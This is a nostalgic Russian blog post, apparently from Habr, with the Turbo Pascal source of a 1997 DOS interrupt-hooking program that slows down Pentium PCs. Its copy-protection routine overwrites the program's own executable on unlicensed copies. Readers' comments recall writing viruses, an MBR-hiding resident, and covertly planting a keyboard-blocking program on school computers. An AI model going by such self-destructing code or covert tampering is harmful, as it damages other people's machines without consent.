Как молоды мы были…

    Разбирая винт, наткнулся на кочующий неизменным при все переездах каталог prg.
    Там живут студенческие, школьные, поделочные проги на всех языках. Наверняка у всех такое есть.
    У меня там лежит:
    Asm
    Masm
    Prolog
    Lisp
    autolisp
    bc31
    builder6
    c-sharp
    clipper
    delphi4
    Delphi6
    delphi7
    pascal
    vc

    И в недрах каталога pascal я наткнулся на две проги, имеющие для меня совершенно особое значение. Это был первый софт в моей жизни, который кому-то был полезен и за который были заплачены деньги.

    Кажется 100 (тысяч до деноминации) рублей за «тормозилку» и по 40 (тысяч до деноминации) рублей за каждую копию «конвертора». Они были сделаны почти одновременно.

    Сейчас на эти программы без улыбки смотреть не могу, но ностальгия, черт побери…

    История «тормозилки» связана с приходом в нашу жизнь «Пентиумов».
    Это были 45-е, 60-е и 90-е. До PRO оставались еще год-полтора. До тех пор я знал что есть «двойки» (тормоз, но терпимо), «тройки» (эс-икс и де-икс) и четверки (некоторые были очень круты, почти как «Пентиум»). В прошлой жизни оставались БК-00101, Корветы, Правцы и Агаты.

    На работе у моего отца накопилось куча софта, написанного на клиппере и других ныне редких языках и игр, которые не работали на слишком быстрых для них Пентиумах. «Division by zero» и привет. Кажется, они меряли время, за которое делали for i=1 to 1000 или нечто в этом роде. На «пнях» время было нулевое, и вот результат.

    Как говорится, актуальная задача. И я, вооружившись томами Питера Абеля, Шилдта, Березина, но зная только Паскаль, сочинил нижеследующий код. Это была резидентная программа, управляемая горячими клавишами. Я не уверен, но кажется там даже какая-то защита от повторного запуска есть (операции с памятью, область была найдена методом тыка: «где не виснет при записи»). Есть также защита от простого копирования (детская, конечно).

    1. {$M $600,0,0 }
    2. program for_pent;
    3. uses Crt, Dos;
    4. var
    5.  f,f1,f2:text;
    6.  KbdIntVec : Procedure;
    7.  a,b,c,z,s,d,o:integer;
    8.  q:boolean;
    9.  x,w,e,r:string;
    10. procedure er;
    11. begin
    12.  assign(f2,'for_pent.exe');
    13.  rewrite(f2);
    14.  append(f2);
    15.  for o:=1 to 1000 do writeln(f2,'Приобрести программу можно по адресу:'+'Волгоград, пр.Металлургов, 17. ВПЭК.');
    16.  close(f2);
    17.  assign(f1,'for_pent.txt');
    18.  rewrite(f1);
    19.  append(f1);
    20.  r:='Вы пользовались незарегистрированной копией программы For_pent';
    21.  x:='Приобрести программу можно по адресу:';
    22.  w:='Волгоград, пр.Металлургов, 17. ВПЭК.';
    23.  writeln(f1,r);
    24.  writeln(f1,x);
    25.  writeln(f1,w);
    26.  close(f1);
    27.  writeln('Unregistered copy. Program deleted.');
    28.  writeln('Нерегистрированная копия. Программа удалена.');
    29. end;
    30. {$F+}
    31. procedure Keyclick; interrupt;
    32. begin
    33.  if q then
    34.  begin
    35.     if (port[$60]=88) and (a>0) then begin a:=a+1;gotoxy(1,1);write('Включен, ',a);end;
    36.     if (port[$60]=88) and (a=0) then begin a:=b ;gotoxy(1,1);write('Включен, ',a);end;
    37.     if (port[$60]=87) and (a>0) then begin a:=a-1;gotoxy(1,1);write('Включен, ',a);end;
    38.     if (port[$60]=14) and (c=29) then begin q:=false;gotoxy(1,1);write('Выключен     ');end;
    39.     {if port[$60]>$80 then }Delay(a*10);
    40.     c:=port[$60];
    41.  end;
    42.  inline ($9C);
    43.  KbdIntVec;
    44. end;
    45. {$F-}
    46. begin
    47. z:=mem[$fe00:0005];
    48. s:=mem[$fe00:0006];
    49. d:=mem[$fe00:0007];
    50. str(z,x); str(s,w);str(d,e);
    51. if fsearch('for_pent.lot','')='' then begin er;exit;end;
    52. assign(f,'for_pent.lot');
    53. reset(f);
    54. read(f,r);
    55. if (r<>(x+w+e)) then begin er;exit;end;
    56.  q:=true;
    57.  val(paramstr(1),b,b);
    58.  if paramstr(1)=''then
    59.     begin
    60.      writeln('Программа замедления работы компьютера. ');
    61.      writeln('For_Pent. Версия 1.01 1997г. Овчинников Степан. ');
    62.      writeln('Форма запуска: for_pent.exe <Cтепень замедления>');
    63.      writeln('1 - наименьшая, верхней границы нет');
    64.      writeln('F12 - включить; F11 - выключить');
    65.      writeln('Do not distribute this program');
    66.      delay(1000);
    67.      Halt;
    68.     end;
    69.  GetIntVec($08,@KbdIntVec);
    70.  SetIntVec($08,Addr(Keyclick));
    71.  Keep(2);
    72. end.
    * This source code was highlighted with Source Code Highlighter.


    Все компьютеры у отца на работе были снабжены этой программой в autoexec.bat

    Как я пытался подружить эту программу со скоро появившейся Windows 95 –- отдельная история.

    «Конвертор» же переводил текстовые файлы из «dos» в «windows» и назад. Почему-то в NC, VC и DN тех времен, а также word&deed такой операции не было, а word 6.0 казался монструозным для той задачи.

    Вероятно, были нормальные проги с такой возможностью, но у меня их не было. Я продал несколько копий программы, в том числе одну – ровеснику, который купил диск Алисы, где «текстА» не читались.

    Интернета тогда в Волгограде еще не изобрели, FIDO казалось чем-то заоблачно-манящим, и из сотни моих школьных приятелей было только у одного.

    Мне было 14 лет.

    А у вас что было первым? Какие 2 килобайта изменили вашу жизнь?
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 174

      +8
      У меня первой более-менее серьезной программой была система учета пациентов и подготовки отчета в статотдел поликлиники. Писал для мамы на FoxPro 2.6 где-то в начале 10-го класса.
        +32
        В 14 лет на паскале работать напрямую с памятью и перехватывать прерывания — это сильно. Я такое только на ассемблере могу)
          +2
          А я в 13 свой первый вирус написал… жаль не дожил до сего дня… а самой перой более менее была наверное «стрелялка» двигаешь клавишами курсор и стреляешь в летающий шарик, на турбопаскале
            0
            у меня visual basic и мухобойкой мух))))
              0
              мышкой, естественно, лет в 14 это было.
              +5
              Первый из скольки? :)
                0
                Моим первым вирусом была несколько видоизмененная заражалка COM файлов, описанная в классической книжке Хижняка «Пишем вирус и антивирус» :-) Книжка до сих пор на полочке стоит, в почетном углу :)

                Потом уже баловался всякими резидентными программами легального и не совсем назначения :)

                ЫЫ, вспомнил. В то время жутко любил играться в Dune2, часами просиживая перед монитором. Брату это ессно не нравилось, и он, зараза такая написал резидентную прогу которая убивала процесс через некоторое время, выводя всякие вредные надписи, типа хватит играться в игрульки. Что меня ессно жутко бесило.

                В результате, был написан еще один резидент, который прятался в MBR и патчил того «правильным образом» :-)

                Да, были это 90е года, а мине было лет 8-10
                0
                Текстовая РПГ игра на Basic с графической заставкой и не линейным сюжетом. 13-14 лет.
                Надо было брать деньги за игру, не додумался :)
                  –5
                  irony: gopnik.exe ??
                    –2
                    Гопники кодят на basc? Не смеши.
                      +3
                      А ведь и правда, была когда-то такая игра. Текстовый квест
                        0
                        Да? Интересно! В свое время интересовался текстовыми квестами, но про такое не слышал.
                          0
                          Ну там в роли гопника разгуливаешь по городу, дела разные творишь)
                          Даже сейчас гугл выдает кучу ссылок по запросу gopnik.exe
                            0
                            Забавная вещь )
                  +1
                  демки для ZX Spectrum в машинных кодах :) 9-10 класс
                    +2
                    Первый опыт (как интимно) — лет в 11 на ZX Spectrum: простенькие проги a la MS Paint на встроенном Basic.

                    Первые заработанные на ПО деньги были гораздо позже: какой-то сайт на CMS Mambo (теперь Joomla) в начале 2000-х.

                    Спасибо за ностальгию :-)
                      +11
                      Много разного. Из резидентов писали программу, которая не давала играться на компьютере, для школы. Деньги? Какие деньги? На школьных компах целый день сидели — вот это и было то, что больше всего надо.

                      Самое по моим меркам крутое — скелетное 3д на ассемблере. Знакомый писал с текстурированием на C, а я вооружился Demo Design FAQ вместе со знакомым писали разные штуки. Воксели, помню, делали, огонь, на развертке и палитре пускали цветные полосы по экрану.

                      Да, мы стали старыми и ленивыми.
                      www.mccme.ru/~pierre/Humor/programm.htm
                        +6
                        Супер. Автору песни +1024.
                          +3
                          m1.li.ru/b/7/mp3/4/25653/2565364_Molodost__Programmera.mp3
                          Тут аудио вариант
                            0
                            Спасибо:)
                          0
                          Скорее не старыми и ленивыми… А корыстными. Блин да какими корыстными, нам кушать что-то уже надо =)
                          –3
                          Для SEO нужд написал простенькую экспертную систему (ну тогда я еще не знал, что она экспертная =) ) для анализа добавляемых сайтов в скриптах каталогов сайтов… Что делало их автоматизированными, и заменяло человека для модерации или личное время владельца, не вызывая бурной реакции поисковых систем. В 11 классе )

                          Неплохо продавалась, потом доработал до полноценного скрипта, для тогдашнего времени получилось неплохо заработать )) Правда я только потом допер, что это было несколько неразумно и стоило больше работать на себя, чем продавать готовый продукт для получения трафика…
                            +1
                            я помню что мы писали какие-то «умные» проги по закрашиванию забора %) что за задача сейчас и не упомнить, да и исходниов не осталось, но решали мы ее долго :)
                            11 класс, Паскаль.
                            прогером я так и не стала =)
                              +1
                              Тестирование на VB по физике. Единственный недалекий от прогрммирования ученик был в школе.
                              Потом переписал под заказчика и продал как дипломный проект за 500 руб, копейки конечно, но все же.
                                0
                                Автор, а как так получилось, что в секретной заначке нет эмулятора БК с вильнюсовским Бейсиком-87 и снапшотами? =)
                                  0
                                  самое смешное в ваше программе это то, что на регистрацию и данные о пользователе ушло 80% кода, а полезного с десяток.
                                    +2
                                    Кто в детстве не писал такого кода, пусть первый бросит в меня камень.
                                  • UFO just landed and posted this here
                                      +2
                                      Первым более или менее сложным был построитель графиков. Функция задавалась строкой. Была поддержка степеней, логарифмов и прочих функций. Класс 10 вроде бы был. (с++ был. А по факту просто С)
                                        +12
                                        эх, читаю каменты и за себя становится грустно и стыдно :( вместо того чтобы делать что-нибудь полезное для саморазвития, часами тупо сижу в инете, или в лучшем случае смотрю футураму.
                                          +7
                                          смотрите футураму на английском — будет польза саморазвитию

                                          кстати, оригинальная футурама смешнее переведенной на русский язык.
                                            +1
                                            я имел ввиду саморазвитие в плане программирования и т.п.
                                          +4
                                          из раннего(1994), под DOS, резидент, который по хоткею выводил в нужную область экрана «правильные» цифры. ориентировано было на тесты по информатике, лениво было заучивать ответы на тупые вопросы проще было отрисовать хорошие результаты прохождения теста :D
                                            +1
                                            Хех) Мой резидент перехватывал все нажатые клавиши и создавал впечатление, что клавиатура отрубилась.
                                            Как сейчас помню, «отксерил» у друга книгу Романа Моора по написанию резидентов на асме. Вот и практиковался.
                                            Денег, а уж тем более общественной пользы это, конечно, не принесло)) Но однажды класс отпустили с половины урока информатики. Первая половина ушла у меня на незаметное метание между компами с дискетой, прописывание в autoexec.bat и перезагрузку))
                                            +2
                                            Первая супер-бупер программа была графическая, в ней по экрану ездили шарики и отскакивали друг от друга и от стенок. А потом с помощью папы был заботан ещё и треугольник от которого шарики тоже отскакивали. Программа умдрялась тормозить на 80286 :)
                                              +1
                                              программа объектно-ориентированная, или пиксель-ориентированная?
                                              что за язык?
                                                +2
                                                Язык борланд C, я в ту пору учился в 1-2ом классе. Насколько я помню, там были массивы значений X, Y, и R для каждого кружочка, ну и в цикле они попарно сравнивались и двигались.

                                                Самое забавное, что комп был у меня дома в те времена, что, естественно, было жуткой невидалью, однако в школе счастливые обладатели денди надо мной смеялись, что у меня какая-то фигня, игр нет нормальных. :)
                                                  +6
                                                  В первом классе? Не плохо, не плохо. Вы либо вундеркиндом были, либо раз пять на второй год оставались))
                                                    0
                                                    Вы мне льстите :) Нет на второй год не оставался. Алсо, по нормальному программировать так и не научился.
                                              0
                                              Моей первой программой была калькулятор всяких аккустических параметров для папы, он у меня аккустикой занимается. Даже графики какие-то рисовались. Написана была на пятых дельфях и было мне тогда около 16, с компом был знаком на тот момент уже около полугода.
                                                –1
                                                Почитала комменты — почти все начинали что-то классу плюс-минус к 10-му. А современные дети уже в 4-м — 5-м пишут полноценные арканоиды и тому подобные мелкие игрушки. Правда, в средах типа Scratch. Но это получается почти что ООП :))
                                                Вот он, прогресс :)
                                                  +2
                                                  Я после 10 класса пересытился и заимел непреодолимое отвращение к программированию на целых 6 лет. Даже сейчас мне сложно мотивировать себя в этом секторе — никакого фанатизма и никакой эйфории от запуска отладчика не испытываю.

                                                  Интересно, на сколько часто такое встречается среди остальных «ранних» программистов?
                                                    +1
                                                    Я думаю, у всех по-разному. Я в деццтве с первого взгляда не Delphi (это было свежевышедшее Delphi5) решила, что во чтобы то ни стало буду программистом. И только в институте поняв, что программирование слишком часто не игрушки, а серьезная умственная работа (да такая, что иногда головой о стену биться хочется — если какая-нибудь особо хитрая система уравнений не решается, хотя ты уже на 100 раз во всех направлениях проверил свои тесты, код и алгоритм в поисках багов), я задумалась над тем, правильное ли «жизненное направление» выбрала.
                                                      +1
                                                      В течении трех курсов никогда не задумывался о правильности выбора пути, хотя поводов было вагон, но радость после решенния задачи, нахождения бага после недели дебага, изучения пролога)) ни с чем не сравнить. У знакомого математика наверно такая же фигня творится — вот так и живем, пока запас энтузиазма неиссяк
                                                      0
                                                      заниматься начал классе в 7-8, толкового написал немного, больше недоделанного валяется.

                                                      к программированию интерес не потерялся, но стал более спокойным, т.е. я понял, что по-факту то, чем я занимаюсь — это ремесло и за него мне платят деньги, т.е. энтузиазм уступил место прагматизму.Хотя и попадаются задачи, когда и с работы уходишь в 10 вечера и дома еще сидишь, доделываешь и не оторваться :)
                                                        0
                                                        У меня учеба в ВУЗе отбила охоту программировать на несколько лет. Искал себя в администрировании, веб-дизайне, а теперь вот пять программирую и очень этому рад.
                                                        +2
                                                        Ну тут палка о двух концах. Вредные привычки современные дети познают раньше :)
                                                        +2
                                                        А я змейку в школе написал псевдографическую на C. Т.к. символ в высоту больше чем в ширину, замедлял скорость, если большая часть змейки двигалась вертикально. Тогда движение казалось плавным. Естественно брать денег за это у кого-либо в мыслях даже не было :)

                                                        А вот за конфиги для квейков уже за деньги писал)
                                                          +4
                                                          год 1997-1998 (мне 13-14), комп IBM 286, Basic. первая игра «Первый миллион» с обалденной графикой с заставкой которая рисовалась по математической формуле, если помните, там такая витиеватая штуковина. с рндшной неповторяемой базой вопросов. и даже с «пасхальными яйцами» по типу 75% на 25%, и 100% правильный ответ если ввести мой домашний номер телефона в разделе «помощь друга». родители и все приходящие гости обязательно должны были попробовать свои силы. зато не приходилось становится на табуретку и рассказывать стишки ))

                                                          Спасибо за ностальгию!

                                                          p.s. жаль код так и остался на упокоившем 44 Мб харде. R.I.P.
                                                            +1
                                                            в начале 90х писал на ассемблере под Z80, крякал да патчил все подряд под Спекртум. :)
                                                              0
                                                              Ох, люблю Z80 нежною любовью :)
                                                            • UFO just landed and posted this here
                                                                –14
                                                                отступы!
                                                                фу…
                                                                • UFO just landed and posted this here
                                                                    –13
                                                                    пробелы использовать религия запрещает?
                                                                      +13
                                                                      подите вон, не мешайте людям настальгировать.
                                                                      • UFO just landed and posted this here
                                                                        • UFO just landed and posted this here
                                                                            +1
                                                                            этот отступ сделан без использования тегов :p
                                                                                          <
                                                                            • UFO just landed and posted this here
                                                                                +1
                                                                                эх, действительно догадаться сложно даже глядя на исходник страницы. прийдется рассказать подробнее :)
                                                                                можно поставить в начале строки любой символ
                                                                                |    тогда браузер не уберет пробелы.
                                                                                а еще можно поставить неразрывный пробел — alt+0160.
                                                                                однако хабрапарсер заменяет длинные цепочки из пробелов на единичный, поэтому чтобы добиться большого отступа надо чередовать обычный пробел и неразрывный.
                                                                                                                                (кстати для проверки достаточно нажать на «предпросмотр»)

                                                                                                                                                                                ☺
                                                                                • UFO just landed and posted this here
                                                                                    0
                                                                                    Да… а по моему, проще Шуха заставить таки чтобы
                                                                                    заработал =)
                                                                                    • UFO just landed and posted this here
                                                                                        0
                                                                                        только вот еще беда — теги доступны только с положительной кармой.

                                                                                        а вообще где-то был скрипт под гризманки, добавляющий какие-то плюшки к редактору комментов. можно-бы туда встроить механизм для отступов.
                                                                                        только что-то у меня не получилось сходу его найти :(
                                                                      +1
                                                                      В пятом (кажется) классе писал простенькую рисовалку на QBasic. Мышки у компьютера не было, а интерактивно работать с клавиатурой я не умел. Поэтому рисование выглядело так: нажимался NumPad и в качестве направлений движения кисти использовались цифры на соответсвующих клавишах. Чтобы нарисовать квадрат, к примеру, нужно было последовательно набрать: 2, Enter, 6, Enter, 8, Enter, 4, Enter.

                                                                      А первая программа за деньги была в 10-м классе — сайт риэлтерской конторе на PHP.
                                                                        0
                                                                        тоже пробовал в QBasic`е делать рисовлку. и мышка у меня была. только вот что бы рисовать надо было зажимать обе кнопки вместе + пробел. ток в таком случае бейсик начинал следить за положением курсора а пробел «бризгал» краску в это место положения.
                                                                          0
                                                                          QBasic это да )) в 6ом классе (тогда хоть уже и Win95 стоял, но пользовался ДОСом) пытался сделать приложение с мышкой, разными менюшками и тд. Что-то получалось, что-то нет. Зато помню что когда приезжал к бабушке и хвастался перед сестрой, которая была чуть старше и тоже в школе учила QBasic, переписывал по памяти код той программы.
                                                                          Потом уже был и VB6 с разными подделками вида клона WinAMP со шкурками и простенькая игрулька на DirectDraw.
                                                                          0
                                                                          Походу все делали на QBasic`е рисовалки. Я вот делал графические заставки для старшеклассников.
                                                                          У них было типовое задание — разработка программу-тестирования учещегося. И нужны были заставки графические. Вот там были и полигоны, и попиксельный вывод, и анимации с разными FOR i=1 TO 5000… Эх… )))
                                                                          0
                                                                          ммде… вспоминаю '92-й год…
                                                                          Суточные скачивания архивов с *.dbf-ками на 2400MNP5 с Российской товарно-сырьевой, написание/поддержка оболочки на Clipper 5.x
                                                                          Эхх… А головная контора упорно продвигала Fox, который был в разы медленнее :)
                                                                            +5
                                                                            Я отчего-то не имел задачи продать программу, первые «релизы» делал для себя и для своего кружка радиоэлектроники. Это были — программа-установщик редактора UltraEdit в связке с компилятором ассемблера для микроконтроллеров, а также были привязаны программы программатора — вручную это всегда требовало минут 20 на настройку всех путей, да и то, если знать, где копать. А так — полминуты за просмотром забавных картинок.
                                                                            Вторая — она мне особенно нравится — некое подобие запоминающего осциллографа с входными каналами COM-порта (так как LPT обычно занят программатором..) — она рисовала график изменения логических уровней на линиях, также позволяла кнопками управлять устройством. Недостаток был ключевой — быстро она не работала — приходилось все процессы передачи данных в микроконтроллере замедлять вставкой функций ожидания (я тогда протокол обмена данными м/у МК отлаживал.), а доработку до быстрых вариантов было дольше делать.
                                                                            Эти программы до сих пор используются в кружке — уже лет 8, а делал я — когда мне было 11 лет.
                                                                              0
                                                                              тема! моя первая программа была псевдографический эмулятор-конструктор-симулятор радиосхем, блоков приемников — помню как вазился рисуя подрограмки поточечно для транзисторов и прочего. потом была эскспертная система для полиграфии уже
                                                                                0
                                                                                Еще я потерял с одним форматированием (после я начал плотнее изучать, как работает система восстановления моего компьютера — и даже начился обманывать защиту от установки на ноутбуки других моделей путем загрузки win98 с liveCD, правкой нескольких батников и прочего..) исходные коды «копилки» — чтобы было известно, сколько в реальной копилке чего)); также из начатого было подбие однорукого бандита. Меня до сих пор они волнуют, даже на телефон себе написал такую штуку);.
                                                                                  +1
                                                                                  Черт, надо написать программу, которая поможет все сразу вспомнить)
                                                                                  Не могу забыть консольные программы для решения уравнений,
                                                                                  в них было развитое псевдографическое меню, и «человеческие» фразы при ошибках и прочих ситуациях.

                                                                                  А в планах — коммерческий перевод программ на qbasic на современный язык, чтобы была возможность запускать вне зависимости от версии Windows, или же — кто знает — это будет даже веб-ориентированным… все это для института и его одной кафедры электротехники…
                                                                                  0
                                                                                  в школе, пока остальные разбирались с текстовым редактором, у меня в бейсике уже плавал кораблик по экрану
                                                                                    0
                                                                                    Помню программку для решения квадратных уравнений на Qbasic, в 13лет(2001) куча понтов с псевдографикой и музыкальным сопровождением, она даже расписывала процесс решения.

                                                                                    А за деньги какой-то сайт в 15 лет.
                                                                                      +4
                                                                                      Недавно тоже наткнулся на сорси своей старой игры. Когда то была у меня идея написать свою супер игрушку, вот скриншоты ( 4 версия (8 клас), 5 версия (8-9 клас), 6 версия (10 клас))
                                                                                      Переход на следующую версию сопровождался полным переписыванием кода. Жаль первых версий нигде нет, интересно было бы посмотреть на свой код.
                                                                                        +3
                                                                                        Чрезвычайно качественные скриншоты.
                                                                                          0
                                                                                          Правда графику пришлось с других игрушок брать(ну я не художник), с AOE, Аллоды, Warlord, Heroes 3. Видимо за это минусы и получил.
                                                                                            0
                                                                                            Ага, с графикой всегда такие проблемы(
                                                                                            0
                                                                                            Первый скриншот названием юнита все поясняет:)
                                                                                            0
                                                                                            Когда учился в седьмом классе, мы с одноклассником писали какие-то странные вещи на его Компаньоне-2. Можно сказать, точки зрения преподавания языков программирования начали правильно — с Basic. Помню, много всего написали; сначала баловались с геометрией, потом подключили к этому делу возможность ввода-вывода. Записывали все на аудиокассеты, а на следующий день загружали код и продолжали писать. Кассеты лежали у меня пять лет, а потом куда-то пропали. Жалко.
                                                                                              0
                                                                                              Было дело классе в 7-8, наверное. Писал на паскале всякую чушь. Запомнился модуль для работы с мышкой (33-е прерывание, кажется). Потом занимался зачем-то переписыванием стандартных модулей для работы в текстовом и графическом режимах, тоже через прерывания на встроенном в паскаль ассемблере.
                                                                                                0
                                                                                                Пишу на дельфи уже лет 5, но первую программу продал только два месяца назад. Зато хорошо продал. Простейшая работа с таблицами (вывод, добавление, изменение и удаление) за 1000 рублей.
                                                                                                  +6
                                                                                                  Хорошо продал — это когда «Hello world!» за 1000 евро :)
                                                                                                +1
                                                                                                Самый ранний мой опыт программирования относится классу к шестому. Мы тогда на уроках занимались в Кенгуренке. У меня дома не было компьютера и я целый день сидел тренировался — писал на бумажке команды, чтобы выполнить задание в классе. Ну там: «Влево, влево, прыжок» и т.п.
                                                                                                Потом мне подарили Денди-мутанта под названием «Магистр» или как-то так, короче денди с клавиатурой и мышкой :) Был также отдельный картридж со всякими прогами, даже что-то вроде Ворда и Экселя было. И еще был бейсик. Вот первая моя программа была проверялкой пароля :) Надо было ввести пароль, и программа проверяла, правилен ли он, и выдавала соответствующее сообщение.
                                                                                                Вот.
                                                                                                  +1
                                                                                                  Визуха тебе! А я только со второго курса института начал программировать. Всегда «завидовал» ребятам, которые программируют с детства.
                                                                                                    +1
                                                                                                    в 9-10 классе, впервые увидев adom, задался целью сделать roguelike игрушку на Паскале, правда потом понял что сделал все не так и некоторые вещи при моем подходе не осуществимы. на этом и остановился тк переписывать все с 0 не хотелось уже. а так вполне сносно получилось карты монстры инвентарь даже для тестовой локации был небольшой сюжет :)
                                                                                                      +13
                                                                                                      Я когда учился в N-классе, компьютеры были несусветным богатством и были у шишек. Поэтому приходилось играть в футбол, бегать по гаражам и висеть на турниках… Млять, вы из какой вселенной?:)))
                                                                                                        0
                                                                                                        а в школах не было их что ли? )
                                                                                                          +3
                                                                                                          В школах было всего одно или два урока информатики в неделю. Остальное время — нас не пускали.
                                                                                                          Поэтому приходилось отрываться на MK-52. Только в институте уже появилось больше возможностей.
                                                                                                            +1
                                                                                                            Ооо Правда, помоему даже 1 урок, остольное время класс был закрыт двумя дверми, если конечно у других небыло урока.
                                                                                                            Да и когда в класс заходили, явно не о програминге думали…
                                                                                                            У нас кстати тоже МКшки были, только насколько я помню МК-58, хотя могу ошибатся.
                                                                                                            Из «компов» потом у меня появились в личном пользовании: Тамагочи, Тетрис, часы Монтана!!!, И денди с одной игрой Марио в которой было аж два уровня:)))
                                                                                                          +3
                                                                                                          Фуф, я уж волноваться начал почитывая комментарии) Оказывается, я тут не один такой)
                                                                                                          А на компьютере я только играл, в Wolf 3D, Transport Tycoon и Nascar Racing, для запуска последнего приходилось выгружать norton :-D
                                                                                                            0
                                                                                                            Ладно нортон, помню чтоб запустить один вертолетный симулятор (Апач вроде) писал менюшки которые отображались при старте ДОСа, щас уже не помню, что за файлы то это были, но точно не autoexec.bat, чтобы как можно меньше программ улетало в опертивку, и только после этого игра запускалась ))
                                                                                                              +1
                                                                                                              В config.sys это делалось, я так дум запускал
                                                                                                            +2
                                                                                                            Ну это Вы зря. Свой первый комп, как и последующие, я покупал себе сам. Самый первый — ZX, точно не помню, около 120 руб, по тем временам. До сих пор где-то дома валяется. Потом IBM 8088, за 600 руб, из которых 300 сам накопил, остальное занял у брата. Между прочим, это 1990-1992 годы.
                                                                                                              0
                                                                                                              Ну я не такой старый, в это время я ещё зелёную абрикосу жрал и в ножички играл:)))
                                                                                                              Да и война у нас была в эти годы. А у вас Путч(ГКЧП) как раз, сложные времена. 600 руб на скоко я помню были не плохие деньги 2.5 зарплаты где-то.
                                                                                                                0
                                                                                                                3 з\п начальника отдела (дед работал) или около около 5-6 з\п повара (бабушка работала поваром).
                                                                                                              • UFO just landed and posted this here
                                                                                                                  0
                                                                                                                  Что-то Вы путаете, скорее всего годы… В 90-м, средняя ЗП была в районе 100 руб, это уже 92 и далее — цены и зп расли. Помню, потому что новый ZX брал в магазине за 120р, а вот 8088-й уже с рук, за 600р.
                                                                                                                  • UFO just landed and posted this here
                                                                                                                0
                                                                                                                Зависит от N.
                                                                                                                Когда я (на шесть лет вас старше) был в 10-11 классе, уже IBM-совместимые компьютеры были не особенной роскошью, а уж «Спектрумом» или БК-шкой вряд ли кого можно было удивить.

                                                                                                                Но, конечно, это была не трата «между делом» — надо было понимать, на что деньги уйдут.
                                                                                                                  0
                                                                                                                  В вашем коменте так и прослеживается «убирайтесь с моего газона» :) Яж неначто не претендую, но правда в такие годы(9-10 класс) мне кажется совсем о другом думаешь, нет?
                                                                                                                    +1
                                                                                                                    Да не, в моём комменте прослеживается лишь недоумение по поводу того, что компьютеры были «несусветным богатством» — это не так. А уж кто о чём думает в девятом классе — вопрос совершенно иной.
                                                                                                                    +1
                                                                                                                    Получается я был в классе 5-том. Скажу честно — это реально было несусветным богатством по крайней мере у нас в глубинке. В это время. У меня тогда впервые с братом появился «Робик» — аля «Спектрум».

                                                                                                                    Тогда же была написана програ «Угадай животное». Я уже как-то писал. Комп вам говорил
                                                                                                                    — «загадайте животное и нажмите эникей»
                                                                                                                    Далее наводящие вопросы
                                                                                                                    — У него есть хвост? ( Да / Нет )
                                                                                                                    — …
                                                                                                                    — Это кот? (да /нет )
                                                                                                                    -Нет.
                                                                                                                    — Тогда я не знаю кто это :( Скажите мне, кто это
                                                                                                                    — Собак
                                                                                                                    — А чем отличается кот от этого животного?
                                                                                                                    — Он умеет лаять…
                                                                                                                    Далее он уже умел угадывать собак.
                                                                                                                    Ну и т.д. =) Запоминал гдет животных 300… далее оперативки небось не хватало вродь.
                                                                                                                      +1
                                                                                                                      Странно, из тех моих друзей, кто хотел компьютер, у меня у последнего появился :) Тоже глубинка.

                                                                                                                      А по поводу «Животных» — знакомая программа, в «Науке и жизни» была опубликована, помнится.
                                                                                                                  0
                                                                                                                  Я начал, кажется, лет с 13-14 — там вперемешку были Pascal (в школе), Actionscript и PHP. Собственно, примерно в возрасте 15-16 лет продал пару вещей сделанных на флэше и AS.

                                                                                                                  Всегда было интересно, как многие начинали с более раннего возраста и техники типа спектрумов. Жаль, у меня этого не было…
                                                                                                                    +1
                                                                                                                    А мне сейчас 16. 2 года назад познакомился с веб программированием. Уже год работаю программистом. Я щаслив! )
                                                                                                                      0
                                                                                                                      *счастлив
                                                                                                                        0
                                                                                                                        Офигеть) И как успехи? Над какими проектами работаете? Я думал, мне в свои 18 заниматься региональным порталом — верх крутизны :)

                                                                                                                        Но обычно 16-20 летние «программисты» могут только на форумах ныть «ПАМАГИТЕ ПАЖАЛУСТА ПРОГРАММА НЕ РАБОТАЕТ СКИНЬТЕ НА ЕМЕЙЛ». Ничего личного, просто насмотрелся в своё время…

                                                                                                                        Рад, что вы приятное исключение.
                                                                                                                          +1
                                                                                                                          Знаю таких, меня тоже раздражают… А вообще успехи хорошо, правда уже буду увольняться — перехожу в 11 класс, нужно нормально учиться, ведь сдавать ЗНО( это в Украине, а у вас ЕГЭ). Работаю удаленно в московской компании, которая занимается проектами о туризме. Узнал для себе много нового — как справляться с highload, более детально svn, сделал десятки парсеров к различным сайтам.
                                                                                                                          А вообще нравится Symfony, Doctrine. Начинал с Codeigniter, потом Kohana. Друзей дизайнеров нет, так что пришлось мне тогда еще и html, js(jquery), css изучать…
                                                                                                                          Учу ruby(rails), python(django, еще какой нибудь фреймворк посмотрю). Поставил цель за лето перейти на ubuntu )
                                                                                                                            0
                                                                                                                            Жесть) Я когда в 18 лет работать начинал, знал только Perl. Долго соображал, как хранить данные, так пришёл к MySQL а позже к PHP. Ну а Рельсы вот только в свои 23-24 познаю.

                                                                                                                            Для меня, кстати, это хорошая движущая сил — наблюдать за тем, как люди (тем более настолько младшие) делают/знают больше и лучше меня. Очень, знаете ли, не хочется уступать шустрым 16 летним парням :) Хотя на спектруме тоже много чего фигачил, и электроникой всякой, но так для хобби.
                                                                                                                              0
                                                                                                                              Зато spectrum я не видел и не трогал)
                                                                                                                              По бд я пока только с MySql. Хотя на работе доводилось работать с Oracle и PgSql. MySql понравился своей простотой. Для обычных сайтиков или небольших порталов более чем достаточно.
                                                                                                                              А электронику я обожаю. Кпк, смартфоны, фотоаппараты — так и бы пожил недельку в супермаркете електроники) Жду когда по нормальной цене появится n97 — по моему супер вещь.
                                                                                                                        +5
                                                                                                                        Приобрести программу можно по адресу: Волгоград, пр.Металлургов, 17. ВПЭК.
                                                                                                                        Как мило звучит :)
                                                                                                                          0
                                                                                                                          это место работы моего отца на тот момент. для этой конторы делалось
                                                                                                                            0
                                                                                                                            Нет, я имею ввиду, что я удивился, откуда здесь мог взяться элетронный адрес. А потом понятно стало :)
                                                                                                                          –2
                                                                                                                          Я тут пол-года назад нашел у себя на винте свою софтинку одну древнюю, с описаловом. Это не первая софтина, но уж больно давно тоже сотворена, и по интересному поводу :) С вашего разрешения, ссылка на мой уютный бложик — benzinych.ru/benzin/4498
                                                                                                                            +1
                                                                                                                            Лет в 13 была программулька на Delphi, которая автоматически перемещала файлы с определенным расширение в определенные папки. База привязки расширения к названию папки редактировалась. :-)
                                                                                                                            Она мне очень нравилась, я её пытался дописывать, но уничтожил её «формат цэ» :(
                                                                                                                            Потом попытки сотворить программку, которая бы выполняла определенные действия на компьютере по командам, по типу консоли. Потом появился тырнет и Delphi я забросил — HTML, CSS, JS и PHP с MySQL встали на моем пути...)
                                                                                                                              +1
